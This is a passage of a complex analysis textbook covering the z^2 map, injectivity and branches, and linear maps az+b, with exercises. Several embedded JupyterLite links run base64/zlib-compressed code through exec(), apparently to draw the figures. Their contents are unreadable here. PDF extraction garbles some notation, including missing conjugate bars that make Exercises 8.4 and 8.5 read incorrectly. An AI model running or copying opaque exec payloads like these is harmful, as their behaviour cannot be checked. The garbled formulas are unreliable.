https://jupyterlite.github.io/demo/repl/index.html?kernel=python&toolbar=1&pyfig=zsq1_slide&code=import%20numpy%2C%20matplotlib%2C%20zlib%2C%20base64%20%20%23%20run%20print%28src%29%20to%20see%20the%20code%0Asrc%20%3D%20zlib.decompress%28base64.b64decode%28%27eNqNV21z2zYS%2Fs5fscfEU9ChWUonO4kUZqbttFN3cm1m6m%2BqooFIUEJNkSwBWS9p%2FnufBShZTtO709giuNhd7D77glVQqJLaSu5FqZcxlZ1cq%2F5hYtK1Vd2DrGJaLJpd9nNTq2gcED563TadJd1gSxp1M4ppLW1bNbbSi6Td84qkgWrr%2BMuuWdPt%2B71dNXVSaMNHHpX8ePefdzH1RMcNqSSvGqPYqsiR%2Bm3BzCIMwzd6vSRdZGFbzrEMydh9pbIw33Sm6cZt42wPyWrryJXO78k21MqNUeHb4I3JO93at8GD7KgtKaOtrotmm7j1x3JM01lM92NKY%2Bo29Zhst1GfAAmOzaho8s1a1TZZKvt9pXj57f62EEdrokmAR9LU%2FtyMyk2dW93UJCL6iPMS6AT5X341oU%2BTwCh72%2BMtnrDDf12S6Hnpzz9Z%2Fp7eZvwsk0rVS7uKqFN209UT5sbRpsvJM0yZezbxQhkJ93xBg4guLuiimATw6qKAxW%2B%2B7jEBvHRB4vMsiCIfilKpgjF4GpHoFMI5wnIHtHrupqN76KBO1kvVK%2B2zyGcGCOI%2BOhEWG46AbpJv91aZ21%2FE4xayITHyQeEpwBazcqQdkqBehj5J57rOV8pkvH4UxD50%2BkxNFjcjVedNoVgHRxC%2BbZSIoqRQjnx2IFxNNm0hrfJ%2BfnXMGwd9uzErEWJXjvVaLtXXOGfS18OFCaMTol8BT%2BwBwGd0hQ%2BpuqCmpJ82LZzs3mmrXBWqzm0HiEApDhFsPnwYch1JQqE6Z5EVMT2oznB6DMaksN6Ty3cylS6UYbAl6qGTermyVOla%2Bfo7cAFAYez8284tp8OArshG2HtB1m1iK6U3Gd7wNUiCu5WiZaedvRZr88dGdoqmV4N4MIN1YgH0xu4YQzuozJvaWFSNKo7U%2FZEaseOGHWJNDrPgqBtnTxy5lOyLI2tD25XCaRrOWdlZhIPYoEUlUVcFmkzZVFWzNXRIcUiavLyGI2lyrZPg%2Ff4HveRzH1CeQGvszXcRYTidaUglkgjGMQ1jZqopl1VlfGNMkiRKOCJB36%2Fqzbrdsw91eyQ99r7grA2i04jwmyXawd%2F5PuuRAbe8Ln8vYYY5ZtzHEPwrq3Y2KZvaokGEYwrzNVI9ZEJSyrWu9kw0qtPliW70QYE6GH6KAi6mSq4XhaTDmA6Xl8PgO5DqNkFsTCtzJRBJwt%2FriP7n55nD0MXmLOAOQRfkwHxZ93A0iIJ3tz9%2F%2Fyv2pyLnBvQ7XRLaS2jlYsw5FEauWeScv9%2FNwDEV5siX93xIqqdswWdx%2Fz3YnjmMaI5PKX7ZJ%2FklcW0FgUKhPvJuxiwOTv6%2BZB%2Fyxgg8Wo3XTRTcseVpks7wOkihqdLGClYizh1Onb%2Bja3RLdmHQC9z8owC4014gQHso9U4xuGttuUqkpVVTFX2ZowZQMa3tUUZu50iUmpNluhXsrgcHqznj4xFniuXXv9s5GEQzBIa40tNXMHQtd2ydXBiBY5JOoe8nTERlnNG5dHs6rOYiytytjdWmc9c252AmbmK6SUbgkZwo3L9lUczlThnBWL6E70l6zd%2BvXrnv4Yx5E%2BT6fAcQxBVGg3fRhHra%2Fgs0aVqVWxEqNKYqdOJyt%2BL0ZCfzpmq6LIRqlEe1zbDwonL38N94WI3F5T1vXU2KSi5U5Zx6jaL6HOMx%2Fb%2BfZ31HO9VR39dcT8aZ3BXEwQEf08EBfW7guYWYdR4Up8L0KMczC%2F97%2FtyxDpJhNEUSss3z2NeNs3kWtGgvMeRP4oe0PxgVkkZuzRpB9nZ4Mq9BrkwWjsMz4%2F597Y1DqaMzP1Hc2xU2j%2Fz3WK5NdhMFgNbzcqvjeOAvDPl2R9NjxAfDKHCDXJ9Dni9xefN65JlXElOeckPfueQI6RnwkHts8H7y4KvvbnqPaxnjk7iLZqdZhatoHvU4HXQrHFZ4d2CfDS4tz4y%2B5k603CUkDwSi7ZFsfa34uTb1MulJCDg9ikzb9AR56yGfeTYg5Njaxmi%2ByoToWV3TS1FlPX%2F%2FHj0Vc3h14fPDPH0e8jCJu535hoSUVtRvfRgeN98yrq%2F8JiY7r8wF4Im6bSYGVzb6LT68sPj68HH4Kf4NRViQzS6SYfmcx0jLAYDWkC%2FTkEFdVs1CVkZE474g2q55wOBS0GLvysJf3HCvwDyEkPTk82EJlXvf%2F1T44m%2BXzIf1cXjNXqZRwA6N%2F7EuoQrW%2Bd8oflYA3JDmKcTNJbrWZgUz17IlwRk0iE4%2FV4539zRsi9Jd13bfqnAGrtEweBx03c0x4svqup%2BPz2ba8GD%2BGMzdFDf3ZyfQhpb2FzNdDMI%3D%27%29%29.decode%28%29%0Aexec%28src%29
https://jupyterlite.github.io/demo/repl/index.html?kernel=python&toolbar=1&pyfig=zsq2_unfold&code=import%20numpy%2C%20matplotlib%2C%20zlib%2C%20base64%20%20%23%20run%20print%28src%29%20to%20see%20the%20code%0Asrc%20%3D%20zlib.decompress%28base64.b64decode%28%27eNqNV21z2zYS%2Fs5fscfYUzAns5Jqu40cZqa5yc35xtfLXPqhHdfRQCQo4USRLADKltz89z4LUC9x3ReNTULAvmB3n31RVKiS2kpuRKnnAyqNXKn%2BZQeka6fMWlYDms2ah%2By7plbJJCJ89KptjCPd4EhadXk%2BoJV0bdW4Ss%2FSdsMrkhainacvTbOi6%2Fcbt2jqtNCWVe6E%2FOv7%2F9wMqN%2F01OBK86qxim%2BV%2BK3%2BWDCxiOP4tV7NSRdZ3JZTLGOyblOpLM47YxszaRt%2F95icdn670vmSXEOt7KyK30SvbW50695Ea2moLSmje10XzX3q14%2FlhG7vBrSc0HBApqsn5EynPsElUJtR0eTdStUunSv3rlK8fLu5LsTuNslVhFfa1EFvRmVX5043NYmEHqEvhUxs%2Fy2srujTVWSVu%2B79LT4jh%2F26JNHT0i%2B%2FMP%2BS3mT8LtNK1XO3SMgo15n6iqmh2pqcAsEtU99dBaaMhH%2F%2FnUYJnZ7SaXEVwarTAjd%2B%2FWXvE7iXTkk8RUGShFCUShXsg88jkuxDOEVYvoe3eurG0BIyyMh6rnqhPYoCMrAhlsl%2BY9ZxBHSTvt04Za%2F%2FKw5HQENq5VrhLUA2YOGAHUBQz%2BMA0qmu84WyGa8PjDiHzIDUdHZ5ruq8KRTL4AjCtk6JJEkL5bePFMLUtGsL6VSw84sdbrzr284uRIxTOdErOVdfQs9Vnw%2BnNk72Hv0C%2FsQZHPiCzvAhVRfUlPTvroWR5kY75bNQGX8cIQKl2Ca48%2FbjmPNIEhLVGwtUDGitjGV4jIHLhaKubcG5kFXJQnnH%2FtxJg4O6bKrCYss03Xzhj9rmHtzexHuvwOJp8FQfHzUxrXISmCCsfdqOOG%2FG%2BC62TBnodlRDep2FL7xodZJG73C7DfIRDiFtSTurcDGJAtFOCCCoFOxx4OQbrrrK6bbSgNQMTDgvGEdO1rnq9Q9p3kDt2Ru%2BZRp9aLwZbO0ZfFYralpVW6r0UkFLKWtGbCC6XzSV92yNquY9VWtHVq10rk2OIzE3StUJLZVqbWRkoTsLg%2FkWvgDZg6yyq6rAH3gHnopP5kYXUF%2BDegYErVTwszRy1lQIHmKCMKbRW8Bs0hM%2BwJV5U1t3hcQtdrubw65XKaE9iIcj7xcKDuP7O2kcgBm93%2FxTz5lhjQIEPAQ0BMwxYLxMJIu%2F6S7RvCNqymVV2VD60zRF2IC5qK%2FIdbdqNwy7ut1tHap7dFToUUtF%2FO0cBe%2B3dE%2B6QMRF3eTv4ZWV3eXUYwz6hVMPLi2bGkBx8YTifIVkjnkjLeVKVxvetMrocr9v9VZhdzT%2BlEQ%2FwGl1m8KDtpW5EmejAeHvVUJ%2F%2BnlxHI0ezBt%2BjKIfn0gdeqEXf0HoXuomSD0bscSHILZ7Vuz4fJREN9ffvfuA41uRc33%2BP72kDvY6OZvMgJw48bU051r6wx0oboUYMw2dcTHvOfKeA6A6ZvjxLvr2f%2F8IutVDKzwt1q1mCcmfGvRM7kRR5IcHLidiOyAU9c95uLLca7cIbpVmTttQI0iwOJ9fxVHtCtkcim9oZnxDObNcCV%2B%2BRHF4%2Bdn1%2B%2B%2B%2BooAkwYUUai%2BMrORqVkhao3unF3APPz1t3lixs3qdRN7bo3R4h6%2BjIVxYofKIERYsSDwT%2FiGaILt%2B3DNd%2FiETOIY9U3QDXeN0FEWcj5kfcbDqjJ9xGM6ZuBzQZXoOWsl45GYni2IqH5QVt8N0%2BDWkpcMLfn7zjX%2BO75g2RdpMHyq9EmeYo26SK%2Br3Ns%2FsSduq3IlYoUFUsWeXDwvGK5uYN1VjshiikWnVfYZFYJUP6z%2BiYTEOk8609ektKjlTlTfqVRIxCIGPKePQYzw0f7BwfRDb1CgeMbcp99Bj%2BccKMNetFXeq2x0fz2f8H%2BhzTzpKx8ktIsMqp4MAfa%2FyLpIGJBk9z%2B1TxreCoHKMp83iszN4yE%2BQfTy4Ugmgib3%2FCjNvDPKFxHip%2FLTJAwmqGNs9Ok8i282e4%2BMQmvjQCE%2BGJ0%2Fa4Ik9GRx1wRPzE3qnRR8yHx%2Ftp5N4ED1J0N%2B5w%2BjIm19dxEmfsrtOEOLATv1wu8SEgklSfEju9mMbZ%2FU06d241a3wrsR3H4ujGa5lQB%2FqwH4%2F95Dj%2BUi0fZRbH%2BVAIvdsqE17RgTqwCZ7NnnE5gPiSbxbTXxyn23ZMYOfAOqCbHaajssTnmEtm4zhOeY%2BF7MZ86qZycqKvli9oNY0a10Ev3NZCj0VWguUJTih3z6e1JAJy%2F53yrM%2FnLLgyMPknH09TCIkhJr8boGFKNwu%2FECa9HOaBTc3fj8K6FrbBa4JJJDgmI2T%2FW%2BlXVu9jdui9J3UbVoV34HqfBwdpmxf4y78ox%2FOjwbqeGt%2FHk%2FDxDgNylOIA2p%2BBcIeO9U%3D%27%29%29.decode%28%29%0Aexec%28src%29
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small squares stay square; the quarter-plane opens to a half-plane (angles at 0 double)

C tiles (Figure 7.2, continued)

Example 7.6 (The same map on the polar grid). With z = reiθ, (4.2) gives z2 = r2e2iθ. So the
circle r = ρ maps onto the circle of radius ρ2, traversed twice, and the ray θ = θ0 maps onto the
ray θ = 2θ0. In polar coordinates the map is transparent; in Cartesian coordinates it produced
the parabolas of Example 7.5. Choosing coordinates adapted to the map is most of the work.
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A straight line
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B a path of maps
Figure 7.3 (animated). z2 on the polar grid. A: every point moves in a straight line from z to f(z).
B: circles r = ρ go to circles r = ρ2 (wrapped twice), rays θ to rays 2θ. C: the tiles on the left deform
along the path of B.
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the upper half of the annulus wraps once around: angles double

C tiles (Figure 7.3, continued)

7.3 Injectivity, surjectivity, and inverse maps
Definition 7.7 (One-to-one; onto). Let f : S → C. We call f one-to-one (injective) on S if
f(z1) = f(z2) with z1, z2 ∈ S implies z1 = z2, and onto T (surjective) if f(S) = T . If f is
one-to-one on S then the inverse function f−1 : f(S) → S is well defined by

f−1(w) = z ⇐⇒ f(z) = w, z ∈ S. (7.8)

Example 7.8. f(z) = z2 is not one-to-one on C, since f(z) = f(−z). It is one-to-one on the
open upper half-plane {Im z > 0}: if z2

1 = z2
2 then z1 = ±z2, and z1 = −z2 is impossible for two

points both with positive imaginary part. More generally, by Example 7.6, z2 is one-to-one on
any open sector of opening angle at most π. This observation is the seed of the theory of branches
in Chapter 10.

Remark 7.9 (Multiple-valued “functions”). Expressions such as z1/2, z1/n, arg z, log z assign to
each z a set of values, and are therefore not functions in the sense of Definition 7.1. We will call
them multiple-valued relations and will always convert them into genuine functions by selecting a
branch: a choice of one value at each point, made so that the result is continuous on a suitable
region. Doing this well — and knowing where it is impossible — is one of the central techniques
of the subject.

7.4 Exercises

Exercise 7.1. Find u(x, y) and v(x, y) for f(z) = z3, f(z) = z

z + 1, f(z) = zz+ iRe z, f(z) = 1
z

.

Exercise 7.2. Let f(z) = z. Describe the images under f of: the line y = x; the circle |z − i| = 1;
the sector 0 < Arg z < π/4. Is f one-to-one on C?

Exercise 7.3. For f(z) = z2, find the image of the square with vertices 0, 1, 1 + i, i. (Map each
of the four edges using Example 7.5 and then locate the image of the interior point 1+i

2 .)

https://jupyterlite.github.io/demo/repl/index.html?kernel=python&toolbar=1&pyfig=c07_sqpolar_c&code=import%20numpy%2C%20matplotlib%2C%20zlib%2C%20base64%20%20%23%20run%20print%28src%29%20to%20see%20the%20code%0Asrc%20%3D%20zlib.decompress%28base64.b64decode%28%27eNqtWV132zYSfeevwDLxBnRpRpQ%2FEstRTts0bbxrpz6JtyeJqupAJCQhpkiWgGxRSfa37x2A%2BrDsbPNQP5gUMBgM7sxcDEAvlSNWZqLmIzUO2agSU9k8dMhUbmR1LbKQDYfFvPu6yGXQ8Rj%2B1LQsKsNUgS6h5dFByKbClFlhMjWMypremNBQbaz8qCqm7PSiNpMij1KlacqlkleX52chaxqtNEZFSVZoSVYFtqnp5iTMfd9%2FpqZjptKuX44GePWZNnUmu34yq3RRdcrC2u4zo4xtzlRyxUzBSjHT0n%2FuPdNJpUrz3LsWFStHrMtuVJ4WN5F9%2FzTqsF4%2FZFcd1gpZNcs7zFQz%2BQWQYNouS4tkNpW5icbSvMwkvf5Yn6Z8aU1w4uERFbmbt8tGszwxqsgZD9gnzBdBJ5r%2F4d5O2JcTT0tz2uDNb4lj%2FWrEeCPLPn%2Bm8VfseZeeoyiT%2BdhMAlZJM6vyE5LG1LpKmBPokXT%2FxA3qMm6f37E4YDs7bCc98bCqnRQWP3vcYAJ42Q7j21EQBM4VIylTwuC2R4KVCwdwyyXQaqSLil1BB6tEPpaN0iaKXGSggV8Fq4bhjDygiujH2kh9%2BitfdyEaIi2uJZ4cYiEpR9ghCPKx74J0oPJkInWX3tcD0Q%2BdLlKj4dGBzJMilaSDPIi1zSQPgiiVtnljQiw1mpWpMNKt89Eybiz05UxPuI9e0VFTMZaPMc9Jkw872g9WiD4CnugDgA%2FYHv6YzFNWjNi%2FZiUWWZ0pI20Wysp2e%2FDAw8Uf7YcMIWAm6CsyhOm4Uin6mcgxmw2PF4wblQHPyPtF5rKCnSkb1mws8wFJaaSiyz1dyoR%2BnbC8AKwd9nIupmUm2ZPoKGRlxA5ajCeT1pO9qShLlY91ZOS8Ex8cB95F%2FbMas6TIrxHnmLZjbXJLYyAQlUtNvoFh6cqfIQnlLBFZph3DRFEEO7E0z2syP59NYR9oIi%2BXTWsW8TYIBTnL%2FR%2FGSKy7cltsY1e70ZsUWSZtMukl4VwUWf1i1ex5RDdVciFguV56%2B5MPHRNAYKJRkRskp99hfjJFmPnUEI3EVGU1NWpZqdGqXauFRGvc%2FhJ4pQoZ6PQUsZeXEf3CAw3xR8%2FziHlFNeYLR6HdPSvSZAZQQp%2FlGModThJODqnbZqXqE44k6dJ%2B2QUd0yLleCDbMskXAdtzfXsslntxO8ToXWdNQCxAbY0x5Q3ZIr5izmJ3V4AjzcQ6f2WcEVfw8l%2BY6NYvhhr22Barh7CoKm0I7lRdqxQ8rcZ5UUmfSAdZSfzetGwwRrNiDL%2BZyEryij0nliZ185ILLI%2FWnxVjvi1SAfrALvsjpDbAB7WFrBU0QGRfdwqtHZpFhQVM74Hjm3y1ts5Bcq9FjS3TYsjPQ7ZoTODkHtjKE9BtAFzP%2FzY8LXILmDIM2GNM0PxKV5aUxQ2ZotdonO%2FuakvwgkLgWlZGDUEp7XmbMrBS8w4jl2iCjJ3DbIH9F5aC%2Bc6LoZppiJW6KQ5odz5fInXehExVgTgwaWrqUnaTgiir4XUSOYelENN%2FVsb6XOUiG4PGDT9vNqtMTEP2m9PWdEvsHueuF%2FsquQBCvVYfKUIvcT9AtCAxju9A9Bv7nvSkSljvubXtLv2JwYgjJ9JMBVD4b40hsKGZ5y%2F%2FHgCmSgwLFA8du86M8VP44jUgfM1ylZXg8NxVVq8bGDKYTzbVkreDrWjbNhRWuiRx0tBMva%2BXnk5mhpche7N29LCS4greQ3V1LRlXOTjPsDGcFzCbYUwZlklszdrmAyqBhLxciZS8%2FIYhRj6C7DUTSVVoMLFZerrc9HR5r6eHguqN%2F0JKaWw22Cx5GbDPbJlBJTnsjZOlWZzGatD7WWSUio2Y9dxoBHErD8z2%2B86EHs3w2Y7tu8G5yDcxLBtktBxz7TjyNieUVTGuJBbGWxTHKK6weoGiFFUBEBGGikgNrLBbA%2BxxIZuwFyQ%2B3CKIqcr5VMw5nIbd3qbj0L6BpKIW%2FsfRiqxGmSqJNAyg6x6gfW0XqbLGZSKXrEB%2BItqLmbGN8GjGxFxhOZm6kjY1xwBLS8fnpayoZjCKHG66cQdssPecqoCPYKOlwTXgWkRU%2FGzazxeRVd%2FQWu1CLymsD0qFn8aGYEorSyHWSGise0OiWSElES1wvbKKLKl2d3m81zYBE1mB%2Bk6KZIKAq1GddGOmXCBaVtJUKi0ef158%2FqNNS6OOGcKIJapKMnmXnR0ts10kSQzc29YcZyKlkl3Uxha76Yp609RG42007iBBROsgbPZhlCe8NHDM7HaQDauCNltwC8VUVczGE2bliC2mEoSrXfk3o1X2WmG82nkg1uSZbjKNxt2Ta1crqtSlSCTHrhkjQmROI4JtYrFHg5LPcFIKaQ670GBjpXcEaJ2El6Tt0TLiMBXsGues6BBQ0%2F87EF0H3tsXr17%2BBPke4r%2BPpriFSTKlDSdF%2FK7Fh63A7qu9uBlw9NUBkG41Azzv1dooOBJ1squK4u904L1B3yEM%2BBppW3YExYEOQaFsKOsCBbGZIBYdEXpnp%2Benl2%2Bhho7S3tv%2F%2FIjXRzYcS%2BQbm4hsRMRhS4o8n2XgzpuKtkicJKnKKGZ52mE27jQOoTPsto%2B8y9PLs5ek6OFNd%2FHHJ5j6Jfz99z9n4DTd3Ynao4ckc%2Fby36evfwoZvf3w5hcy4pE9VjxCNdGK9olUgMSBBWM%2Fig%2Fiw%2BP20eH%2B4dPjJ8fofRp4r07PTi9ppl78JGRHfc97O3h5QZqwWx55r%2FQ2dq8IOiIyxJoVBcI0Pm55Ut4baC9DOhrZ03vXsnfgXZ7RjH0Pe%2FVyFazbRS0uKtTkNiDnGDzH6BrPGs8cs2LQcqlWZjIP2YTois8pp%2BctolUI8pp%2B1vbndHVi%2Fbg%2BsU43D6voUuuufKOL%2FmhfwAxzCk4KXJqzph%2BUDZP6luzlWYSDFhbLbbTnCcq2nEq3nsCAyRwjpFxm0pBKJ9vaNGA%2F%2BI6WQ0JB6LFv%2BlsptqyGgVvaAjfL1gRL4aAP70m4pOE2qqcd1gavJr4PcxTcE0OYV6SkWmFu6Kf5OzGvVphXZNASc%2FONmHOLTeXw3GJ6W2%2B7%2Fu0uh5Jxw77ZD%2BvJVtjerzewHvnalKvB1jMXP1gS6PkP0pF8OjqkA%2BmD0ZHcT%2Ff9vvfiV5tFJNTjitAJ2A5r9%2B8CfxfvvmfvcEKWUOsC5YYjgpAmk0%2BORoexnawtjtOnI7%2FfOAhT9q6onEqWxdOkuME2EnTYt1TA9l7DlU6lQGGVSwG7clv%2F1ZZjJypNZb69dWcZv10oBvZagg7GIKJVxRiwZ%2BwNDIN8Uy%2FeiodXmhs66lg07LEONETvmt7v8lYcwwlLZfTobRpBDQH756pgdb9hQGBpze0KDrV30PcOCt%2Fj%2BT6GMte5kXh3JEib3XgjqhspZNYNWPKygXbeWxKugSSsXnuxid2NNmBqfUfh9c5NsofZgvtnf9dC73RMrQgrenm%2FbHnvWrwPdwG%2BPAu8BdH2gnh7QcS9qEndh1sr%2BXBrGR9ureHD5gKmi9vGLyzJuxkswWMK7O50SdW118t4m1X2fpkubLo8phIgOkAiiTnpoqtGkaYDMZeaU9VxaGvvp%2FR%2FnzbJ6EmbPD6%2FuUf4YEP4sL0hvIi0NIN5pqaw0MK0sBAQTovghC0laitRryTqRoLmW6twvrDDbtbDnGcCm7TCXkhAa0gyTWIKKytsdc99iUIhQ%2F6K9OMMx5Uh3ZYPi7lPaiOjkquBrS7pkDxEEBJYx0GjR8wnVIxSDiRFVlRdvxU9bUNZdtPFm1Uh5tf%2FV8aiQuCtL%2Br47Qs6TrmUDHrGBgPY3Tq%2Bv5ma%2FZCNkIx2At0F83wLFct0vBzh42Bm6JqETL1RqZloa9zaZ%2FY7Aq%2F8h4uHe%2FY85dPtc24sIPF%2B4BkKhG3DYdc3zGK9ugWBuYFKmpMSvHGvs8Hfnpmijy4qUcXZuDtu44HaEnuv6PqJtB9CQna9%2BWOtIKZLEP%2F33CckqSIlpgGfka6Vw%2FYbo4nyVD7uond16Gnue11sUQloa%2FXeFfYXOjbYX4E7aF%2FQHnQftbruKymJPnvK7UE4MFCvzGdTe7PNLwKydbmNuDHGQUN3T3oZKBc91W9ixb6uw8XuazRNP9gcvY4d3qNtS31FmvB3niC4Xd29g6V4xOI%2BXXJbFMdZMUTtypud7gHdDtB1nD2bUW3vLtRhYYqiHxM1zZtfA4D2VfMt7N6Pc901tusvNN0nraZE%2B%2FrFUiZgofsQ12m%2BLWiMXh6YacfSE5g6FSXj5M44WH2TW16S9%2FwyHdl7cTpA%2BrTJH7S99dccezo7tP%2Baj0AbH24GgxG29sEgqnSZKTDQY5%2BuZXt7MTkN9mFT9aOypprCpxLVHzgTI0zqB97%2FAGgwQKk%3D%27%29%29.decode%28%29%0Aexec%28src%29
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Exercise 7.4. Show that f(z) = z + 1/z maps the unit circle |z| = 1 onto the segment [−2, 2]
of the real axis, two-to-one except at z = ±1. What is the image of the circle |z| = ρ for ρ > 1?
(This is the Joukowski map.)

Exercise 7.5. For f(z) = z2, find and sketch the images of the polar grid curves |z| = 1
2 , |z| = 1,

|z| = 2 and Arg z = 0, π/4, π/2. Compare with Example 7.6 and say which coordinate system
makes the map easier to describe.

Exercise 7.6. Let f(z) = 1
z

. Show f maps circles centred at 0 to circles centred at 0, and deter-
mine the image of the ray Arg z = θ0. Is f one-to-one on C\{0}? Compare with Proposition 11.2.

Exercise 7.7. Show that f(z) = z + z maps all of C onto the real axis, so its image has empty
interior. Contrast with Theorem 31.10, and say which hypothesis of that theorem f violates.

Exercise 7.8. (⋆) Let f(z) = u + iv and suppose the image f(S) lies on the line au + bv = c
with a, b, c ∈ R and (a, b) ̸= (0, 0). Show this says Re(αf(z)) = c for all z ∈ S, where α = a+ ib.
This reformulation is used in Theorem 14.13.



Chapter 8

Linear Mappings

8.1 The three elementary motions
Definition 8.1 (Translation, rotation, magnification). Let b ∈ C, let α ∈ R, and let ρ > 0 be
real. Define

Tb(z) := z + b (translation by b), (8.1)
Rα(z) := eiαz (rotation through α about 0), (8.2)
Mρ(z) := ρ z (magnification by factor ρ). (8.3)

Proposition 8.2 (Geometric description). For all z, z1, z2 ∈ C:
(i) |Tb(z1) − Tb(z2)| = |z1 − z2|: translation is an isometry, moving every point by the same

vector b.

(ii) |Rα(z)| = |z| and, for z ̸= 0, argRα(z) = arg z + α: rotation preserves moduli and adds α
to every argument. It is an isometry.

(iii) |Mρ(z)| = ρ |z| and, for z ̸= 0, argMρ(z) = arg z: magnification preserves arguments and
scales all distances by ρ, i.e. |Mρ(z1) −Mρ(z2)| = ρ |z1 − z2|.

Proof. (i) Tb(z1) − Tb(z2) = (z1 + b) − (z2 + b) = z1 − z2. (ii) and (iii) are Theorem 3.11(i)
with z2 = eiα (modulus 1) and z2 = ρ (argument 0) respectively (for z = 0 only the statements
about moduli are claimed, and they hold trivially); the isometry/similarity statements follow from
|az1 − az2| = |a| |z1 − z2|, which is (1.24).

8.2 The general linear map
Definition 8.3 (Linear mapping). Let a, b ∈ C with a ̸= 0. The map

f(z) = az + b, z ∈ C, (8.4)

is called a (complex) linear mapping. (It is an affine map in the language of linear algebra, since
f(0) = b need not be 0; the terminology is traditional.)
Theorem 8.4 (Decomposition). Let f(z) = az+b with a ̸= 0, and write a = ρeiα with ρ = |a| > 0
and α = Arg a. Then

f = Tb ◦Mρ ◦Rα, (8.5)
that is, f is: rotate through α, then magnify by ρ, then translate by b. Consequently:

49
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(i) f is a bijection of C onto C, with inverse f−1(w) = w − b

a
, again linear;

(ii) f is a similarity: |f(z1) − f(z2)| = |a| |z1 − z2| for all z1, z2;

(iii) f maps lines onto lines and circles onto circles; the image of C(z0, r) is C(f(z0), |a| r);

(iv) f preserves angles, including their orientation.

Proof. For (8.5): Tb(Mρ(Rα(z))) = ρeiαz + b = az + b.
(i) Solve w = az + b for z: since a ̸= 0 it has the unique solution z = (w − b)/a, which proves

bijectivity and gives the inverse.
(ii) f(z1) − f(z2) = a(z1 − z2); apply (1.24).
(iii) By (ii), |z − z0| = r if and only if |f(z) − f(z0)| = |a| r; as f is onto, the image of the

circle C(z0, r) is exactly C(f(z0), |a| r). For a line ℓ = {z0 + t d : t ∈ R} with direction d ̸= 0,

f(ℓ) = { az0 + b+ t (ad) : t ∈ R },

the line through f(z0) with direction ad ̸= 0.
(iv) Let two curves meet at z0 with tangent directions d1, d2 ̸= 0; the (signed) angle between

them is any element of arg(d2/d1). Under f the tangent directions become ad1, ad2, and ad2
ad1

= d2
d1

,
so the signed angle is unchanged.

z Rαz ρRαz ρRαz + b

b

Figure 8.1. The decomposition (8.5) of f(z) = az + b into rotate, magnify, translate, applied to a
letter “F” so that orientation is visible. Nothing about the shape changes except its size, its tilt, and
its position: that is what Theorem 8.4 means by similarity. Note the “F” is never mirrored — linear
maps preserve orientation.

Example 8.5 (Reading off a linear map). Find the linear map taking z = 0 7→ 1 + i and
z = 1 7→ 3 + 3i. Writing f(z) = az + b: from f(0) = b = 1 + i and f(1) = a + b = 3 + 3i we get
a = 2 + 2i = 2

√
2 eiπ/4. So f rotates by 45◦, magnifies by 2

√
2, then translates by 1 + i. Under

f , the unit disc |z| < 1 maps onto the disc |w − (1 + i)| < 2
√

2, and the real axis maps onto the
line through 1 + i in the direction 2 + 2i. Since (1 + i) + t(2 + 2i) = (1 + 2t)(1 + i), this is the line
v = u itself: the translation by 1 + i happens to move this line along itself.
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w= (1¡ s) z+ s ((2 + 2i)z+ (1 + i)); s= 1:00

every point moves in a straight line from z to (2 + 2i)z+ (1 + i)
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rotate; magnify; translate; s= 1:00

rotate by 45 ± , magnify by 2
p
2 , translate by 1 + i (Theorem 8.4);

the F is never mirrored

B a path of maps
Figure 8.2 (animated). The linear map (2 + 2i)z + (1 + i). A: every point moves in a straight line
from z to f(z). B: rotate by 45◦, magnify by 2

√
2, translate by 1 + i (Theorem 8.4); the F is never

mirrored. C: the tiles on the left deform along the path of B.
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a similarity: every tile stays a square, all scaled by jaj= 2
p
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C tiles (Figure 8.2, continued)

Example 8.6 (Mapping one disc onto another). Given discs D(z0, r) and D(w0, R) with r,R > 0,
the linear map

f(z) = R

r
eiα(z − z0) + w0 (8.6)

maps the first onto the second, for any choice of α ∈ R. The freedom in α reflects the rotational
symmetry of a disc: linear maps between discs are never unique.
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every point moves in a straight line from z to 1:5i(z¡ 1) + (¡1 + i)
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move z0 to 0, rotate by ®, magnify by R=r, move 0 to w0:
D(z0; r) onto D(w0; R)

B a path of maps
Figure 8.3 (animated). A disc onto a disc: 1.5 i(z− 1) + (−1 + i). A: every point moves in a straight
line from z to f(z). B: move z0 to 0, rotate by α, magnify by R/r, move 0 to w0: D(z0, r) onto
D(w0, R). C: the tiles on the left deform along the path of B.

0.00 0.25 0.50 0.75 1.00 1.25 1.50 1.75 2.00

−1.00

−0.75

−0.50

−0.25

0.00

0.25

0.50

0.75

1.00

z-plane

−2 −1 0 1 2

−1.5

−1.0

−0.5

0.0

0.5

1.0

1.5

2.0

2.5

translate; rotate; magnify; translate; s= 1:00

move z0 to 0, rotate by ®, magnify by R=r, move 0 to w0: D(z0; r) onto D(w0; R)

C tiles (Figure 8.3, continued)

Example 8.7 (Mapping a strip onto a strip). Let S = {z : 0 < Im z < 1} and S′ = {w : 1 <
Rew < 3}. Seek f(z) = az + b. The map must send horizontal lines to vertical lines, so a must
rotate by −π/2 (or +π/2), i.e. a = ρe−iπ/2 = −iρ; the width must go from 1 to 2, so ρ = 2 and
a = −2i. Then Im z = 0 7→ Rew = Re(b), so we need Re b = 1; take b = 1. Thus f(z) = −2iz+1.
Check: z = iy with 0 < y < 1 gives w = −2i(iy) + 1 = 2y + 1 ∈ (1, 3) as required, and the whole
line Im z = y maps to Rew = 2y + 1.
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Figure 8.4 (animated). A strip onto a strip: −2iz + 1. A: every point moves in a straight line from
z to f(z). B: rotate by −90◦, magnify by 2, translate by 1: 0 < Im z < 1 onto 1 < Rew < 3. C: the
tiles on the left deform along the path of B.
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C tiles (Figure 8.4, continued)

8.3 Exercises
Exercise 8.1. Describe f(z) = (1 − i)z + 2 as a composition of a rotation, a magnification, and
a translation, and find the image of the square with vertices 0, 1, 1 + i, i.

Exercise 8.2. Find a linear map taking the disc |z − 1| < 2 onto the disc |w + 3i| < 1 and
sending 1 7→ −3i and 3 7→ −3i+ 1.

Exercise 8.3. Find a linear map taking the horizontal strip −1 < Im z < 1 onto the vertical
strip 0 < Rew < 4 with f(0) = 2 and f(i) = 0. Is it unique?
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Exercise 8.4. Prove that a map f : C → C satisfying |f(z1) − f(z2)| = |z1 − z2| for all z1, z2
and f(0) = 0, f(1) = 1 is either the identity or z 7→ z. (Hint: the conditions pin |f(z)| = |z| and
|f(z) − 1| = |z − 1|; intersect two circles.)

Exercise 8.5. (⋆) Show that f(z) = az + b with a ̸= 0 is also a similarity, but reverses the
orientation of angles. Conclude that the orientation-preserving similarities of the plane are exactly
the maps (8.4).

Exercise 8.6. (After Chapter 14.) Express f(z) = az + b in the matrix language of Section 1.5:
show that the real map f̃ of (14.8) is x 7→ Φ(a)x+b with Φ as in (1.35), and confirm detDf̃ = |a|2
directly.

